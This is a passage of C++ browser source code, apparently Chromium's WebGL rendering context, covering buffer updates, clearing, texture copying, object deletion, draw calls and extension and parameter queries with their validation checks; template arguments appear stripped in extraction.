(!ValidateValueFitNonNegInt32("bufferSubData", "offset", offset)) return; if (!data) return; if (offset + static_cast(size) > buffer->GetSize()) { SynthesizeGLError(GL_INVALID_VALUE, "bufferSubData", "buffer overflow"); return; } ContextGL()->BufferSubData(target, static_cast(offset), size, data); } void WebGLRenderingContextBase::bufferSubData(GLenum target, int64_t offset, DOMArrayBuffer* data) { if (isContextLost()) return; DCHECK(data); BufferSubDataImpl(target, offset, data->ByteLengthAsSizeT(), data->Data()); } void WebGLRenderingContextBase::bufferSubData( GLenum target, int64_t offset, const FlexibleArrayBufferView& data) { if (isContextLost()) return; DCHECK(data); BufferSubDataImpl(target, offset, data.ByteLengthAsSizeT(), data.BaseAddressMaybeOnStack()); } bool WebGLRenderingContextBase::ValidateFramebufferTarget(GLenum target) { if (target == GL_FRAMEBUFFER) return true; return false; } WebGLFramebuffer* WebGLRenderingContextBase::GetFramebufferBinding( GLenum target) { if (target == GL_FRAMEBUFFER) return framebuffer_binding_.Get(); return nullptr; } WebGLFramebuffer* WebGLRenderingContextBase::GetReadFramebufferBinding() { return framebuffer_binding_.Get(); } GLenum WebGLRenderingContextBase::checkFramebufferStatus(GLenum target) { if (isContextLost()) return GL_FRAMEBUFFER_UNSUPPORTED; if (!ValidateFramebufferTarget(target)) { SynthesizeGLError(GL_INVALID_ENUM, "checkFramebufferStatus", "invalid target"); return 0; } WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target); if (framebuffer_binding) { const char* reason = "framebuffer incomplete"; GLenum status = framebuffer_binding->CheckDepthStencilStatus(&reason); if (status != GL_FRAMEBUFFER_COMPLETE) { EmitGLWarning("checkFramebufferStatus", reason); return status; } } return ContextGL()->CheckFramebufferStatus(target); } void WebGLRenderingContextBase::clear(GLbitfield mask) { if (isContextLost()) return; if (mask & ~(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT)) { SynthesizeGLError(GL_INVALID_VALUE, "clear", "invalid mask"); return; } const char* reason = "framebuffer incomplete"; if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus( &reason) != GL_FRAMEBUFFER_COMPLETE) { SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, "clear", reason); return; } if (!mask) { // Use OnErrorMessage because it's both rate-limited and obeys the // webGLErrorsToConsole setting. OnErrorMessage( "Performance warning: clear() called with no buffers in bitmask", 0); // Don't skip the call to ClearIfComposited below; it has side // effects even without the user requesting to clear any buffers. } ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_, drawing_buffer_.get()); if (ClearIfComposited(mask) != kCombinedClear) { // If clearing the default back buffer's depth buffer, also clear the // stencil buffer, if one was allocated implicitly. This avoids performance // problems on some GPUs. if (!framebuffer_binding_ && GetDrawingBuffer()->HasImplicitStencilBuffer() && (mask & GL_DEPTH_BUFFER_BIT)) { // It shouldn't matter what value it's cleared to, since in other queries // in the API, we claim that the stencil buffer doesn't exist. mask |= GL_STENCIL_BUFFER_BIT; } ContextGL()->Clear(mask); } MarkContextChanged(kCanvasChanged); } void WebGLRenderingContextBase::clearColor(GLfloat r, GLfloat g, GLfloat b, GLfloat a) { if (isContextLost()) return; if (std::isnan(r)) r = 0; if (std::isnan(g)) g = 0; if (std::isnan(b)) b = 0; if (std::isnan(a)) a = 1; clear_color_[0] = r; clear_color_[1] = g; clear_color_[2] = b; clear_color_[3] = a; ContextGL()->ClearColor(r, g, b, a); } void WebGLRenderingContextBase::clearDepth(GLfloat depth) { if (isContextLost()) return; clear_depth_ = depth; ContextGL()->ClearDepthf(depth); } void WebGLRenderingContextBase::clearStencil(GLint s) { if (isContextLost()) return; clear_stencil_ = s; ContextGL()->ClearStencil(s); } void WebGLRenderingContextBase::colorMask(GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha) { if (isContextLost()) return; color_mask_[0] = red; color_mask_[1] = green; color_mask_[2] = blue; color_mask_[3] = alpha; ContextGL()->ColorMask(red, green, blue, alpha); } void WebGLRenderingContextBase::compileShader(WebGLShader* shader) { if (!ValidateWebGLProgramOrShader("compileShader", shader)) return; ContextGL()->CompileShader(ObjectOrZero(shader)); } void WebGLRenderingContextBase::compressedTexImage2D( GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLint border, MaybeShared data) { if (isContextLost()) return; if (!ValidateTexture2DBinding("compressedTexImage2D", target)) return; if (!ValidateCompressedTexFormat("compressedTexImage2D", internalformat)) return; GLsizei data_length; if (!ExtractDataLengthIfValid("compressedTexImage2D", data, &data_length)) return; ContextGL()->CompressedTexImage2D(target, level, internalformat, width, height, border, data_length, data.View()->BaseAddressMaybeShared()); } void WebGLRenderingContextBase::compressedTexSubImage2D( GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, MaybeShared data) { if (isContextLost()) return; if (!ValidateTexture2DBinding("compressedTexSubImage2D", target)) return; if (!ValidateCompressedTexFormat("compressedTexSubImage2D", format)) return; GLsizei data_length; if (!ExtractDataLengthIfValid("compressedTexSubImage2D", data, &data_length)) return; ContextGL()->CompressedTexSubImage2D(target, level, xoffset, yoffset, width, height, format, data_length, data.View()->BaseAddressMaybeShared()); } bool WebGLRenderingContextBase::ValidateSettableTexFormat( const char* function_name, GLenum format) { if (IsWebGL2OrHigher()) return true; if (WebGLImageConversion::GetChannelBitsByFormat(format) & WebGLImageConversion::kChannelDepthStencil) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "format can not be set, only rendered to"); return false; } return true; } bool WebGLRenderingContextBase::ValidateCopyTexFormat(const char* function_name, GLenum internalformat) { if (!is_web_gl2_internal_formats_copy_tex_image_added_ && IsWebGL2OrHigher()) { ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_, kSupportedInternalFormatsES3); is_web_gl2_internal_formats_copy_tex_image_added_ = true; } if (!is_ext_color_buffer_float_formats_added_ && ExtensionEnabled(kEXTColorBufferFloatName)) { ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_, kSupportedInternalFormatsCopyTexImageFloatES3); is_ext_color_buffer_float_formats_added_ = true; } if (supported_internal_formats_copy_tex_image_.find(internalformat) == supported_internal_formats_copy_tex_image_.end()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid internalformat"); return false; } return true; } void WebGLRenderingContextBase::copyTexImage2D(GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, GLint border) { if (isContextLost()) return; if (!ValidateTexture2DBinding("copyTexImage2D", target)) return; if (!ValidateCopyTexFormat("copyTexImage2D", internalformat)) return; if (!ValidateSettableTexFormat("copyTexImage2D", internalformat)) return; WebGLFramebuffer* read_framebuffer_binding = nullptr; if (!ValidateReadBufferAndGetInfo("copyTexImage2D", read_framebuffer_binding)) return; ClearIfComposited(); ScopedDrawingBufferBinder binder(GetDrawingBuffer(), read_framebuffer_binding); ContextGL()->CopyTexImage2D(target, level, internalformat, x, y, width, height, border); } void WebGLRenderingContextBase::copyTexSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint x, GLint y, GLsizei width, GLsizei height) { if (isContextLost()) return; if (!ValidateTexture2DBinding("copyTexSubImage2D", target)) return; WebGLFramebuffer* read_framebuffer_binding = nullptr; if (!ValidateReadBufferAndGetInfo("copyTexSubImage2D", read_framebuffer_binding)) return; ClearIfComposited(); ScopedDrawingBufferBinder binder(GetDrawingBuffer(), read_framebuffer_binding); ContextGL()->CopyTexSubImage2D(target, level, xoffset, yoffset, x, y, width, height); } WebGLBuffer* WebGLRenderingContextBase::createBuffer() { if (isContextLost()) return nullptr; return MakeGarbageCollected(this); } WebGLFramebuffer* WebGLRenderingContextBase::createFramebuffer() { if (isContextLost()) return nullptr; return MakeGarbageCollected(this); } WebGLTexture* WebGLRenderingContextBase::createTexture() { if (isContextLost()) return nullptr; return MakeGarbageCollected(this); } WebGLProgram* WebGLRenderingContextBase::createProgram() { if (isContextLost()) return nullptr; return MakeGarbageCollected(this); } WebGLRenderbuffer* WebGLRenderingContextBase::createRenderbuffer() { if (isContextLost()) return nullptr; return MakeGarbageCollected(this); } void WebGLRenderingContextBase::SetBoundVertexArrayObject( WebGLVertexArrayObjectBase* array_object) { if (array_object) bound_vertex_array_object_ = array_object; else bound_vertex_array_object_ = default_vertex_array_object_; } WebGLShader* WebGLRenderingContextBase::createShader(GLenum type) { if (isContextLost()) return nullptr; if (!ValidateShaderType("createShader", type)) { return nullptr; } return MakeGarbageCollected(this, type); } void WebGLRenderingContextBase::cullFace(GLenum mode) { if (isContextLost()) return; ContextGL()->CullFace(mode); } bool WebGLRenderingContextBase::DeleteObject(WebGLObject* object) { if (isContextLost() || !object) return false; if (!object->Validate(ContextGroup(), this)) { SynthesizeGLError(GL_INVALID_OPERATION, "delete", "object does not belong to this context"); return false; } if (object->MarkedForDeletion()) { // This is specified to be a no-op, including skipping all unbinding from // the context's attachment points that would otherwise happen. return false; } if (object->HasObject()) { // We need to pass in context here because we want // things in this context unbound. object->DeleteObject(ContextGL()); } return true; } void WebGLRenderingContextBase::deleteBuffer(WebGLBuffer* buffer) { if (!DeleteObject(buffer)) return; RemoveBoundBuffer(buffer); } void WebGLRenderingContextBase::deleteFramebuffer( WebGLFramebuffer* framebuffer) { // Don't allow the application to delete an opaque framebuffer. if (framebuffer && framebuffer->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "deleteFramebuffer", "cannot delete an opaque framebuffer"); return; } if (!DeleteObject(framebuffer)) return; if (framebuffer == framebuffer_binding_) { framebuffer_binding_ = nullptr; // Have to call drawingBuffer()->bind() here to bind back to internal fbo. GetDrawingBuffer()->Bind(GL_FRAMEBUFFER); } } void WebGLRenderingContextBase::deleteProgram(WebGLProgram* program) { DeleteObject(program); // We don't reset m_currentProgram to 0 here because the deletion of the // current program is delayed. } void WebGLRenderingContextBase::deleteRenderbuffer( WebGLRenderbuffer* renderbuffer) { if (!DeleteObject(renderbuffer)) return; if (renderbuffer == renderbuffer_binding_) { renderbuffer_binding_ = nullptr; } if (framebuffer_binding_) framebuffer_binding_->RemoveAttachmentFromBoundFramebuffer(GL_FRAMEBUFFER, renderbuffer); if (GetFramebufferBinding(GL_READ_FRAMEBUFFER)) GetFramebufferBinding(GL_READ_FRAMEBUFFER) ->RemoveAttachmentFromBoundFramebuffer(GL_READ_FRAMEBUFFER, renderbuffer); } void WebGLRenderingContextBase::deleteShader(WebGLShader* shader) { DeleteObject(shader); } void WebGLRenderingContextBase::deleteTexture(WebGLTexture* texture) { if (!DeleteObject(texture)) return; int max_bound_texture_index = -1; for (wtf_size_t i = 0; i < one_plus_max_non_default_texture_unit_; ++i) { if (texture == texture_units_[i].texture2d_binding_) { texture_units_[i].texture2d_binding_ = nullptr; max_bound_texture_index = i; } if (texture == texture_units_[i].texture_cube_map_binding_) { texture_units_[i].texture_cube_map_binding_ = nullptr; max_bound_texture_index = i; } if (IsWebGL2OrHigher()) { if (texture == texture_units_[i].texture3d_binding_) { texture_units_[i].texture3d_binding_ = nullptr; max_bound_texture_index = i; } if (texture == texture_units_[i].texture2d_array_binding_) { texture_units_[i].texture2d_array_binding_ = nullptr; max_bound_texture_index = i; } } } if (framebuffer_binding_) framebuffer_binding_->RemoveAttachmentFromBoundFramebuffer(GL_FRAMEBUFFER, texture); if (GetFramebufferBinding(GL_READ_FRAMEBUFFER)) GetFramebufferBinding(GL_READ_FRAMEBUFFER) ->RemoveAttachmentFromBoundFramebuffer(GL_READ_FRAMEBUFFER, texture); // If the deleted was bound to the the current maximum index, trace backwards // to find the new max texture index. if (one_plus_max_non_default_texture_unit_ == static_cast(max_bound_texture_index + 1)) { FindNewMaxNonDefaultTextureUnit(); } } void WebGLRenderingContextBase::depthFunc(GLenum func) { if (isContextLost()) return; ContextGL()->DepthFunc(func); } void WebGLRenderingContextBase::depthMask(GLboolean flag) { if (isContextLost()) return; depth_mask_ = flag; ContextGL()->DepthMask(flag); } void WebGLRenderingContextBase::depthRange(GLfloat z_near, GLfloat z_far) { if (isContextLost()) return; // Check required by WebGL spec section 6.12 if (z_near > z_far) { SynthesizeGLError(GL_INVALID_OPERATION, "depthRange", "zNear > zFar"); return; } ContextGL()->DepthRangef(z_near, z_far); } void WebGLRenderingContextBase::detachShader(WebGLProgram* program, WebGLShader* shader) { if (!ValidateWebGLProgramOrShader("detachShader", program) || !ValidateWebGLProgramOrShader("detachShader", shader)) return; if (!program->DetachShader(shader)) { SynthesizeGLError(GL_INVALID_OPERATION, "detachShader", "shader not attached"); return; } ContextGL()->DetachShader(ObjectOrZero(program), ObjectOrZero(shader)); shader->OnDetached(ContextGL()); } void WebGLRenderingContextBase::disable(GLenum cap) { if (isContextLost() || !ValidateCapability("disable", cap)) return; if (cap == GL_STENCIL_TEST) { stencil_enabled_ = false; ApplyStencilTest(); return; } if (cap == GL_SCISSOR_TEST) scissor_enabled_ = false; ContextGL()->Disable(cap); } void WebGLRenderingContextBase::disableVertexAttribArray(GLuint index) { if (isContextLost()) return; if (index >= max_vertex_attribs_) { SynthesizeGLError(GL_INVALID_VALUE, "disableVertexAttribArray", "index out of range"); return; } bound_vertex_array_object_->SetAttribEnabled(index, false); ContextGL()->DisableVertexAttribArray(index); } bool WebGLRenderingContextBase::ValidateRenderingState( const char* function_name) { // Command buffer will not error if no program is bound. if (!current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no valid shader program in use"); return false; } return true; } bool WebGLRenderingContextBase::ValidateNullableWebGLObject( const char* function_name, WebGLObject* object) { if (isContextLost()) return false; if (!object) { // This differs in behavior to ValidateWebGLObject; null objects are allowed // in these entry points. return true; } return ValidateWebGLObject(function_name, object); } bool WebGLRenderingContextBase::ValidateWebGLObject(const char* function_name, WebGLObject* object) { if (isContextLost()) return false; DCHECK(object); if (object->MarkedForDeletion()) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "attempt to use a deleted object"); return false; } if (!object->Validate(ContextGroup(), this)) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "object does not belong to this context"); return false; } return true; } bool WebGLRenderingContextBase::ValidateWebGLProgramOrShader( const char* function_name, WebGLObject* object) { if (isContextLost()) return false; DCHECK(object); // OpenGL ES 3.0.5 p. 45: // "Commands that accept shader or program object names will generate the // error INVALID_VALUE if the provided name is not the name of either a shader // or program object and INVALID_OPERATION if the provided name identifies an // object that is not the expected type." // // Programs and shaders also have slightly different lifetime rules than other // objects in the API; they continue to be usable after being marked for // deletion. if (!object->HasObject()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "attempt to use a deleted object"); return false; } if (!object->Validate(ContextGroup(), this)) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "object does not belong to this context"); return false; } return true; } void WebGLRenderingContextBase::drawArrays(GLenum mode, GLint first, GLsizei count) { if (!ValidateDrawArrays("drawArrays")) return; if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) { SynthesizeGLError(GL_INVALID_OPERATION, "drawArrays", "no buffer is bound to enabled attribute"); return; } ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_, drawing_buffer_.get()); OnBeforeDrawCall(); ContextGL()->DrawArrays(mode, first, count); } void WebGLRenderingContextBase::drawElements(GLenum mode, GLsizei count, GLenum type, int64_t offset) { if (!ValidateDrawElements("drawElements", type, offset)) return; if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) { SynthesizeGLError(GL_INVALID_OPERATION, "drawElements", "no buffer is bound to enabled attribute"); return; } ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_, drawing_buffer_.get()); OnBeforeDrawCall(); ContextGL()->DrawElements( mode, count, type, reinterpret_cast(static_cast(offset))); } void WebGLRenderingContextBase::DrawArraysInstancedANGLE(GLenum mode, GLint first, GLsizei count, GLsizei primcount) { if (!ValidateDrawArrays("drawArraysInstancedANGLE")) return; if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) { SynthesizeGLError(GL_INVALID_OPERATION, "drawArraysInstancedANGLE", "no buffer is bound to enabled attribute"); return; } ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_, drawing_buffer_.get()); OnBeforeDrawCall(); ContextGL()->DrawArraysInstancedANGLE(mode, first, count, primcount); } void WebGLRenderingContextBase::DrawElementsInstancedANGLE(GLenum mode, GLsizei count, GLenum type, int64_t offset, GLsizei primcount) { if (!ValidateDrawElements("drawElementsInstancedANGLE", type, offset)) return; if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) { SynthesizeGLError(GL_INVALID_OPERATION, "drawElementsInstancedANGLE", "no buffer is bound to enabled attribute"); return; } ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_, drawing_buffer_.get()); OnBeforeDrawCall(); ContextGL()->DrawElementsInstancedANGLE( mode, count, type, reinterpret_cast(static_cast(offset)), primcount); } void WebGLRenderingContextBase::enable(GLenum cap) { if (isContextLost() || !ValidateCapability("enable", cap)) return; if (cap == GL_STENCIL_TEST) { stencil_enabled_ = true; ApplyStencilTest(); return; } if (cap == GL_SCISSOR_TEST) scissor_enabled_ = true; ContextGL()->Enable(cap); } void WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) { if (isContextLost()) return; if (index >= max_vertex_attribs_) { SynthesizeGLError(GL_INVALID_VALUE, "enableVertexAttribArray", "index out of range"); return; } bound_vertex_array_object_->SetAttribEnabled(index, true); ContextGL()->EnableVertexAttribArray(index); } void WebGLRenderingContextBase::finish() { if (isContextLost()) return; ContextGL()->Flush(); // Intentionally a flush, not a finish. } void WebGLRenderingContextBase::flush() { if (isContextLost()) return; ContextGL()->Flush(); } void WebGLRenderingContextBase::framebufferRenderbuffer( GLenum target, GLenum attachment, GLenum renderbuffertarget, WebGLRenderbuffer* buffer) { if (isContextLost() || !ValidateFramebufferFuncParameters( "framebufferRenderbuffer", target, attachment)) return; if (renderbuffertarget != GL_RENDERBUFFER) { SynthesizeGLError(GL_INVALID_ENUM, "framebufferRenderbuffer", "invalid target"); return; } if (!ValidateNullableWebGLObject("framebufferRenderbuffer", buffer)) return; if (buffer && (!buffer->HasEverBeenBound())) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferRenderbuffer", "renderbuffer has never been bound"); return; } // Don't allow the default framebuffer to be mutated; all current // implementations use an FBO internally in place of the default // FBO. WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target); if (!framebuffer_binding || !framebuffer_binding->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferRenderbuffer", "no framebuffer bound"); return; } // Don't allow modifications to opaque framebuffer attachements. if (framebuffer_binding && framebuffer_binding->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferRenderbuffer", "opaque framebuffer bound"); return; } framebuffer_binding->SetAttachmentForBoundFramebuffer(target, attachment, buffer); ApplyStencilTest(); } void WebGLRenderingContextBase::framebufferTexture2D(GLenum target, GLenum attachment, GLenum textarget, WebGLTexture* texture, GLint level) { if (isContextLost() || !ValidateFramebufferFuncParameters( "framebufferTexture2D", target, attachment)) return; if (!ValidateNullableWebGLObject("framebufferTexture2D", texture)) return; // TODO(crbug.com/919711): validate texture's target against textarget. // Don't allow the default framebuffer to be mutated; all current // implementations use an FBO internally in place of the default // FBO. WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target); if (!framebuffer_binding || !framebuffer_binding->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "no framebuffer bound"); return; } // Don't allow modifications to opaque framebuffer attachements. if (framebuffer_binding && framebuffer_binding->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "opaque framebuffer bound"); return; } framebuffer_binding->SetAttachmentForBoundFramebuffer( target, attachment, textarget, texture, level, 0, 0); ApplyStencilTest(); } void WebGLRenderingContextBase::frontFace(GLenum mode) { if (isContextLost()) return; ContextGL()->FrontFace(mode); } void WebGLRenderingContextBase::generateMipmap(GLenum target) { if (isContextLost()) return; if (!ValidateTextureBinding("generateMipmap", target)) return; ContextGL()->GenerateMipmap(target); } WebGLActiveInfo* WebGLRenderingContextBase::getActiveAttrib( WebGLProgram* program, GLuint index) { if (!ValidateWebGLProgramOrShader("getActiveAttrib", program)) return nullptr; GLuint program_id = ObjectNonZero(program); GLint max_name_length = -1; ContextGL()->GetProgramiv(program_id, GL_ACTIVE_ATTRIBUTE_MAX_LENGTH, &max_name_length); if (max_name_length < 0) return nullptr; if (max_name_length == 0) { SynthesizeGLError(GL_INVALID_VALUE, "getActiveAttrib", "no active attributes exist"); return nullptr; } LChar* name_ptr; scoped_refptr name_impl = StringImpl::CreateUninitialized(max_name_length, name_ptr); GLsizei length = 0; GLint size = -1; GLenum type = 0; ContextGL()->GetActiveAttrib(program_id, index, max_name_length, &length, &size, &type, reinterpret_cast(name_ptr)); if (size < 0) return nullptr; return MakeGarbageCollected(name_impl->Substring(0, length), type, size); } WebGLActiveInfo* WebGLRenderingContextBase::getActiveUniform( WebGLProgram* program, GLuint index) { if (!ValidateWebGLProgramOrShader("getActiveUniform", program)) return nullptr; GLuint program_id = ObjectNonZero(program); GLint max_name_length = -1; ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORM_MAX_LENGTH, &max_name_length); if (max_name_length < 0) return nullptr; if (max_name_length == 0) { SynthesizeGLError(GL_INVALID_VALUE, "getActiveUniform", "no active uniforms exist"); return nullptr; } LChar* name_ptr; scoped_refptr name_impl = StringImpl::CreateUninitialized(max_name_length, name_ptr); GLsizei length = 0; GLint size = -1; GLenum type = 0; ContextGL()->GetActiveUniform(program_id, index, max_name_length, &length, &size, &type, reinterpret_cast(name_ptr)); if (size < 0) return nullptr; return MakeGarbageCollected(name_impl->Substring(0, length), type, size); } base::Optional>> WebGLRenderingContextBase::getAttachedShaders(WebGLProgram* program) { if (!ValidateWebGLProgramOrShader("getAttachedShaders", program)) return base::nullopt; HeapVector> shader_objects; const GLenum kShaderType[] = {GL_VERTEX_SHADER, GL_FRAGMENT_SHADER, GL_COMPUTE_SHADER}; for (unsigned i = 0; i < sizeof(kShaderType) / sizeof(GLenum); ++i) { WebGLShader* shader = program->GetAttachedShader(kShaderType[i]); if (shader) shader_objects.push_back(shader); } return shader_objects; } GLint WebGLRenderingContextBase::getAttribLocation(WebGLProgram* program, const String& name) { if (!ValidateWebGLProgramOrShader("getAttribLocation", program)) return -1; if (!ValidateLocationLength("getAttribLocation", name)) return -1; if (!ValidateString("getAttribLocation", name)) return -1; if (IsPrefixReserved(name)) return -1; if (!program->LinkStatus(this)) { SynthesizeGLError(GL_INVALID_OPERATION, "getAttribLocation", "program not linked"); return 0; } return ContextGL()->GetAttribLocation(ObjectOrZero(program), name.Utf8().c_str()); } bool WebGLRenderingContextBase::ValidateBufferTarget(const char* function_name, GLenum target) { switch (target) { case GL_ARRAY_BUFFER: case GL_ELEMENT_ARRAY_BUFFER: return true; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid target"); return false; } } ScriptValue WebGLRenderingContextBase::getBufferParameter( ScriptState* script_state, GLenum target, GLenum pname) { if (isContextLost() || !ValidateBufferTarget("getBufferParameter", target)) return ScriptValue::CreateNull(script_state->GetIsolate()); switch (pname) { case GL_BUFFER_USAGE: { GLint value = 0; ContextGL()->GetBufferParameteriv(target, pname, &value); return WebGLAny(script_state, static_cast(value)); } case GL_BUFFER_SIZE: { GLint value = 0; ContextGL()->GetBufferParameteriv(target, pname, &value); if (!IsWebGL2OrHigher()) return WebGLAny(script_state, value); return WebGLAny(script_state, static_cast(value)); } default: SynthesizeGLError(GL_INVALID_ENUM, "getBufferParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } WebGLContextAttributes* WebGLRenderingContextBase::getContextAttributes() const { if (isContextLost()) return nullptr; WebGLContextAttributes* result = ToWebGLContextAttributes(CreationAttributes()); // Some requested attributes may not be honored, so we need to query the // underlying context/drawing buffer and adjust accordingly. if (CreationAttributes().depth && !GetDrawingBuffer()->HasDepthBuffer()) result->setDepth(false); if (CreationAttributes().stencil && !GetDrawingBuffer()->HasStencilBuffer()) result->setStencil(false); result->setAntialias(GetDrawingBuffer()->Multisample()); result->setXrCompatible(xr_compatible_); result->setDesynchronized(Host()->LowLatencyEnabled()); return result; } GLenum WebGLRenderingContextBase::getError() { if (!lost_context_errors_.IsEmpty()) { GLenum error = lost_context_errors_.front(); lost_context_errors_.EraseAt(0); return error; } if (isContextLost()) return GL_NO_ERROR; if (!synthetic_errors_.IsEmpty()) { GLenum error = synthetic_errors_.front(); synthetic_errors_.EraseAt(0); return error; } return ContextGL()->GetError(); } const char* const* WebGLRenderingContextBase::ExtensionTracker::Prefixes() const { static const char* const kUnprefixed[] = { "", nullptr, }; return prefixes_ ? prefixes_ : kUnprefixed; } bool WebGLRenderingContextBase::ExtensionTracker::MatchesNameWithPrefixes( const String& name) const { const char* const* prefix_set = Prefixes(); for (; *prefix_set; ++prefix_set) { String prefixed_name = String(*prefix_set) + ExtensionName(); if (DeprecatedEqualIgnoringCase(prefixed_name, name)) { return true; } } return false; } bool WebGLRenderingContextBase::ExtensionSupportedAndAllowed( const ExtensionTracker* tracker) { if (tracker->Draft() && !RuntimeEnabledFeatures::WebGLDraftExtensionsEnabled()) return false; if (!tracker->Supported(this)) return false; if (disabled_extensions_.Contains(String(tracker->ExtensionName()))) return false; return true; } ScriptValue WebGLRenderingContextBase::getExtension(ScriptState* script_state, const String& name) { WebGLExtension* extension = nullptr; if (name == WebGLDebugRendererInfo::ExtensionName()) { ExecutionContext* context = ExecutionContext::From(script_state); UseCounter::Count(context, WebFeature::kWebGLDebugRendererInfo); Dactyloscoper::Record(context, WebFeature::kWebGLDebugRendererInfo); } if (!isContextLost()) { for (ExtensionTracker* tracker : extensions_) { if (tracker->MatchesNameWithPrefixes(name)) { if (ExtensionSupportedAndAllowed(tracker)) { extension = tracker->GetExtension(this); if (extension) { if (!extension_enabled_[extension->GetName()]) { extension_enabled_[extension->GetName()] = true; } } } break; } } } v8::Local wrapped_extension = ToV8(extension, script_state->GetContext()->Global(), script_state->GetIsolate()); return ScriptValue(script_state->GetIsolate(), wrapped_extension); } ScriptValue WebGLRenderingContextBase::getFramebufferAttachmentParameter( ScriptState* script_state, GLenum target, GLenum attachment, GLenum pname) { if (isContextLost() || !ValidateFramebufferFuncParameters("getFramebufferAttachmentParameter", target, attachment)) return ScriptValue::CreateNull(script_state->GetIsolate()); if (!framebuffer_binding_ || !framebuffer_binding_->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "getFramebufferAttachmentParameter", "no framebuffer bound"); return ScriptValue::CreateNull(script_state->GetIsolate()); } if (framebuffer_binding_ && framebuffer_binding_->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "getFramebufferAttachmentParameter", "cannot query parameters of an opaque framebuffer"); return ScriptValue::CreateNull(script_state->GetIsolate()); } WebGLSharedObject* attachment_object = framebuffer_binding_->GetAttachmentObject(attachment); if (!attachment_object) { if (pname == GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE) return WebGLAny(script_state, GL_NONE); // OpenGL ES 2.0 specifies INVALID_ENUM in this case, while desktop GL // specifies INVALID_OPERATION. SynthesizeGLError(GL_INVALID_ENUM, "getFramebufferAttachmentParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } DCHECK(attachment_object->IsTexture() || attachment_object->IsRenderbuffer()); if (attachment_object->IsTexture()) { switch (pname) { case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: return WebGLAny(script_state, GL_TEXTURE); case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: return WebGLAny(script_state, attachment_object); case GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: case GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: { GLint value = 0; ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment, pname, &value); return WebGLAny(script_state, value); } case GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT: if (ExtensionEnabled(kEXTsRGBName)) { GLint value = 0; ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment, pname, &value); return WebGLAny(script_state, static_cast(value)); } SynthesizeGLError(GL_INVALID_ENUM, "getFramebufferAttachmentParameter", "invalid parameter name for renderbuffer attachment"); return ScriptValue::CreateNull(script_state->GetIsolate()); default: SynthesizeGLError(GL_INVALID_ENUM, "getFramebufferAttachmentParameter", "invalid parameter name for texture attachment"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } else { switch (pname) { case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: return WebGLAny(script_state, GL_RENDERBUFFER); case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: return WebGLAny(script_state, attachment_object); case GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT: if (ExtensionEnabled(kEXTsRGBName)) { GLint value = 0; ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment, pname, &value); return WebGLAny(script_state, value); } SynthesizeGLError(GL_INVALID_ENUM, "getFramebufferAttachmentParameter", "invalid parameter name for renderbuffer attachment"); return ScriptValue::CreateNull(script_state->GetIsolate()); default: SynthesizeGLError(GL_INVALID_ENUM, "getFramebufferAttachmentParameter", "invalid parameter name for renderbuffer attachment"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } } ScriptValue WebGLRenderingContextBase::getParameter(ScriptState* script_state, GLenum pname) { if (isContextLost()) return ScriptValue::CreateNull(script_state->GetIsolate()); const int kIntZero = 0; switch (pname) { case GL_ACTIVE_TEXTURE: return GetUnsignedIntParameter(script_state, pname); case GL_ALIASED_LINE_WIDTH_RANGE: return GetWebGLFloatArrayParameter(script_state, pname); case 